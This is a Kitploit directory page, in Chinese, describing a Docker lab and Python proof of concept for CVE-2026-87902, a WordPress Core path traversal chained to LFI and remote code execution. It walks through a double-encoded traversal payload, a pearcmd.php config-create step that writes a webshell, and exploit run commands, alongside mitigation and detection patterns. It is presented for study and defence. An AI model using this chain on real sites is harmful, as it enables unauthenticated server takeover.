Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
EXPLOIT-CVE-2026-87902 — 针对 CVE-2026-87902 的漏洞实验环境(Docker)+ Python PoC —— WordPress Core 中未经身份验证的路径遍历(page-template -> LFI -> 条件性 RCE)。仅限教育/授权用途。 | Kitploit
工具/GitHubGitHub/joaovicdev/exploit-cve-2026-87902
容器安全漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育Payload 开发实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubjoaovicdev/exploit-cve-2026-87902

EXPLOIT-CVE-2026-87902

针对 CVE-2026-87902 的漏洞实验环境(Docker)+ Python PoC —— WordPress Core 中未经身份验证的路径遍历(page-template -> LFI -> 条件性 RCE)。仅限教育/授权用途。

查看仓库
5小时15分前尚未审核

Lab + Exploit — CVE-2026-87902

故意存在漏洞的实验环境 + Python PoC,针对 CVE-2026-87902: WordPress Core 的 page template 解析中存在的未认证路径遍历, 导致本地文件包含(LFI)和条件性 RCE。

字段值
产品WordPress Core
受影响版本4.7.0 → 7.1.1
修复7.1.2(向后移植至 4.7.37)
类型路径遍历(CWE-22)→ LFI → 条件性 RCE
认证无(未认证)
CVSS 4.09.2(严重)
发布日期2026-09-23

⚠️ 法律/道德警告。 此处所有材料仅供本地授权环境中的学习使用。 该实验环境是一个故意不安全的 Docker 镜像—— 请勿将其暴露在互联网上。exploit.py 默认目标为 http://localhost:8091,这是有意为之。在未经明确书面授权的情况下 对任何系统运行该 PoC 均属违法。您对使用行为承担全部责任。


结构

root@kitploit:~
EXPLOIT-CVE-2026-87902/
├── README.md                # 本文件
├── docker-compose.yml       # 在 localhost:8091 启动实验环境
├── lab/
│   ├── Dockerfile           # php:8.2-apache + PEAR + register_argc_argv=On
│   ├── config/zz-lab.ini    # RCE 的环境前置条件
│   └── src/                 # 复现漏洞代码片段的“迷你 WordPress”
│       ├── index.php        # 前端控制器(≈ template-loader.php)
│       ├── wp-mini.php      # 存在漏洞的 get_page_template()/locate_template()/...
│       ├── private/
│       │   └── secret-config.php   # 主题外的 .php 目标(LFI 证明)
│       └── wp-content/themes/twentytwelve-mini/
│           ├── style.css
│           ├── index.php
│           └── page-templates/     # 遍历所需的 "page-*" 目录
│               └── full-width.php
└── exploit/
    ├── exploit.py           # PoC(pt-BR):LFI + 通过 pearcmd 的 RCE 链
    └── requirements.txt

如何运行

前置条件: Docker + Docker Compose 以及带 requests 的 Python 3。

root@kitploit:~
# 1) 启动实验环境(位于 http://localhost:8091)
docker compose up --build

# 2) 在另一个终端中,安装 PoC 依赖并运行
cd exploit
pip install -r requirements.txt
python3 exploit.py            # 针对本地实验环境运行 LFI + RCE

# 实用选项
python3 exploit.py --mode lfi              # 仅 LFI 证明
python3 exploit.py --mode rce --cmd 'uname -a'
python3 exploit.py --target http://localhost:8091

# 3) 关闭实验环境
docker compose down

预期输出(摘要):

root@kitploit:~
[LFI] Sucesso! Arquivo externo incluído -> SEGREDO_DO_LAB{lfi_via_page_template_traversal}
[RCE] Comando executado no servidor:
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FLAG{cve_2026_87902_rce_no_wordpress_mini}
------------------------------------------------------------

漏洞剖析

1. 存在漏洞的代码路径

在 get_page_template() 中,公共查询变量 pagename 的值被用于 构造模板名称。核心使用 validate_file() 验证原始值 (该函数会拦截字面量 ..),但随后对该值解码一次,并将结果用作 模板候选,而未重新验证(在 wp-mini.php 中忠实复现):

root@kitploit:~
if ($pagename !== '' && 0 === validate_file($pagename)) {
    $templates[] = "page-{$pagename}.php";          // 原始值(仍为编码状态)

    $pagename_decoded = urldecode($pagename);        // <-- 第二次解码
    if ($pagename_decoded !== $pagename) {
        $templates[] = "page-{$pagename_decoded}.php"; // 遍历被重新引入
    }
}

随后 locator 拼接 主题 + "/" + 模板,并包含第一个存在的文件, 没有 realpath(),也没有检查结果是否仍位于主题目录内部。

2. 双重编码绕过

攻击者发送双重编码的 pagename:

root@kitploit:~
线上值(POST body):   templates%252f%252e%252e%252f...%252fpearcmd
第 1 次解码(HTTP):    templates%2f%2e%2e%2f...%2fpearcmd     <- 无字面量 '..' => 通过 validate_file()
第 2 次解码(核心):    templates/../../.../pearcmd            <- 真实遍历

由于 locator 会添加 page- 前缀,路径变为 page-templates/../../.../pearcmd.php。这会解析到主题之外。

3. 转化为 RCE 的前置条件(实验环境中全部具备)

  • 主题具有以 page- 开头的顶层目录(此处为 page-templates/)。这是遍历的真正起点:在 Linux 上,路径的每个 组成部分都必须存在,../ 才能解析。旧版主题(Twenty Twelve/Fourteen) 和流行主题(Neve、Hestia、Sydney)均满足此条件。
  • PHP 中 register_argc_argv = On → $_SERVER['argv'] 会从 查询字符串填充。
  • 服务器上 pearcmd.php 可读(官方镜像 php:8.2-apache 已将其 置于 /usr/local/lib/php/pearcmd.php,位于默认 include_path 中)。

由于 locator 会附加 .php,LFI 只能访问 .php 文件。因此,实际的 RCE 路径与 pearcmd.php 链接:

  • 阶段 1 — 通过查询字符串(=argv)包含 pearcmd.php,传入 config-create 以在 /tmp 中写入一个 .php webshell。
  • 阶段 2 — 通过新的遍历包含该 /tmp/<webshell>.php → 攻击者的 PHP 代码执行。

4. 7.1.2 如何修复

该补丁以一致的方式处理 pagename 的值:在任何解码之后进行验证 (或拒绝包含编码遍历序列的输入),并在模板解析中强制目录边界 (最终路径必须仍位于主题内部)。结果:双重编码的值不再能存活到 include。

缓解措施: 更新至 ≥ 7.1.2;并且,作为纵深防御, register_argc_argv = Off,移除/限制 pearcmd.php,以及部署能够检测 请求中编码 ../(%2e%2e%2f、%252e...)的 WAF。


检测(供防御团队)

  • 前端请求参数中包含编码/双重编码的 ../ (%2e%2e%2f、%252e%252e%252f)。
  • 试图操纵 page template 解析(pagename 中出现异常值), 尤其是与包含 config-create / 引用 pearcmd 的查询字符串组合时。
  • 在 /tmp 中意外创建 .php 文件随后被包含。

来源

  • NVD — CVE-2026-87902
  • VulDB — CVE-2026-87902
  • Help Net Security — WordPress 7.1.2 修复 CVE-2026-87902
  • SOC Prime — Critical WordPress Core RCE Flaw
  • Hadrian — Working PoC for WordPress's Critical Path Traversal
  • Security Affairs
下载工具